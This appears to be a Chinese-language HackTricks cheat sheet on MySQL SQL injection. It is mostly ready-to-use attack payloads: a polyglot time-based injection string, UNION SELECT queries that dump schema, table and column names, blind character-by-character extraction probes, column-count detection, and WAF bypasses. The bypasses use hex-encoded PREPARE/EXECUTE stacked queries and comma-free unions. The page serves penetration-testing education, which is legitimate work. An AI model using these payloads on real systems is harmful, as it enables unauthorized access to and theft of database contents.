# MySQL 注入 {{#include ../../../banners/hacktricks-training.md}} ## 注释 ```sql -- MYSQL Comment # MYSQL Comment /* MYSQL Comment */ /*! MYSQL Special SQL */ /*!32302 10*/ Comment for MySQL version 3.23.02 ``` ## 有趣的函数 ### 确认 Mysql: ``` concat('a','b') database() version() user() system_user() @@version @@datadir rand() floor(2.9) length(1) count(1) ``` ### 有用的函数 ```sql SELECT hex(database()) SELECT conv(hex(database()),16,10) # Hexadecimal -> Decimal SELECT DECODE(ENCODE('cleartext', 'PWD'), 'PWD')# Encode() & decpde() returns only numbers SELECT uncompress(compress(database())) #Compress & uncompress() returns only numbers SELECT replace(database(),"r","R") SELECT substr(database(),1,1)='r' SELECT substring(database(),1,1)=0x72 SELECT ascii(substring(database(),1,1))=114 SELECT database()=char(114,101,120,116,101,115,116,101,114) SELECT group_concat() FROM SELECT group_concat(if(strcmp(table_schema,database()),table_name,null)) SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END) strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep() ``` ## 所有注入 ```sql SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/" ``` ## 流程 请记住,在“现代”版本的 **MySQL** 中,您可以将 "_**information_schema.tables**_" 替换为 "_**mysql.innodb_table_stats**_**"**(这可能有助于绕过 WAF)。 ```sql SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables SELECT column_name FROM information_schema.columns WHERE table_name=""; #Get name of the columns of the table SELECT , FROM ; #Get values SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges ``` ### **仅 1 个值** - `group_concat()` - `Limit X,1` ### **盲注逐个** - `substr(version(),X,1)='r'` 或 `substring(version(),X,1)=0x70` 或 `ascii(substr(version(),X,1))=112` - `mid(version(),X,1)='5'` ### **盲注添加** - `LPAD(version(),1...lenght(version()),'1')='asd'...` - `RPAD(version(),1...lenght(version()),'1')='asd'...` - `SELECT RIGHT(version(),1...lenght(version()))='asd'...` - `SELECT LEFT(version(),1...lenght(version()))='asd'...` - `SELECT INSTR('foobarbar', 'fo...')=1` ## 检测列数 使用简单的 ORDER ``` order by 1 order by 2 order by 3 ... order by XXX UniOn SeLect 1 UniOn SeLect 1,2 UniOn SeLect 1,2,3 ... ``` ## MySQL 联合注入 ```sql UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=... UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=... UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+... ``` ## SSRF **在这里了解不同的选项以** [**滥用Mysql注入来获得SSRF**](mysql-ssrf.md)**。** ## WAF绕过技巧 ### 通过预处理语句执行查询 当允许堆叠查询时,可以通过将要执行的查询的十六进制表示分配给一个变量(使用SET),然后使用PREPARE和EXECUTE MySQL语句最终执行查询,从而绕过WAF。类似于这样: ``` 0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; # ``` 有关更多信息,请参阅 [this blog post](https://karmainsecurity.com/impresscms-from-unauthenticated-sqli-to-rce)。 ### Information_schema 替代方案 请记住,在 **MySQL** 的“现代”版本中,您可以将 _**information_schema.tables**_ 替换为 _**mysql.innodb_table_stats**_ 或 _**sys.x$schema_flattened_keys**_ 或 **sys.schema_table_statistics** ### MySQL 注入无逗号 选择 2 列而不使用任何逗号 ([https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma)): ``` -1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1# ``` ### 检索没有列名的值 如果在某个时刻你知道表的名称,但不知道表内列的名称,你可以尝试执行类似以下的操作来查找有多少列: ```bash # When a True is returned, you have found the number of columns select (select "", "") = (SELECT * from demo limit 1); # 2columns select (select "", "", "") < (SELECT * from demo limit 1); # 3columns ``` 假设有两列(第一列是ID,第二列是flag),你可以尝试逐个字符地暴力破解flag的内容: ```bash # When True, you found the correct char and can start ruteforcing the next position select (select 1, 'flaf') = (SELECT * from demo limit 1); ``` 更多信息请访问 [https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952) ### MySQL 历史 您可以通过读取表格 **sys.x$statement_analysis** 查看其他执行情况。 ### 版本替代**s** ``` mysql> select @@innodb_version; mysql> select @@version; mysql> select version(); ``` ## 其他MYSQL注入指南 - [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md) ## 参考文献 - [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md) {{#include ../../../banners/hacktricks-training.md}}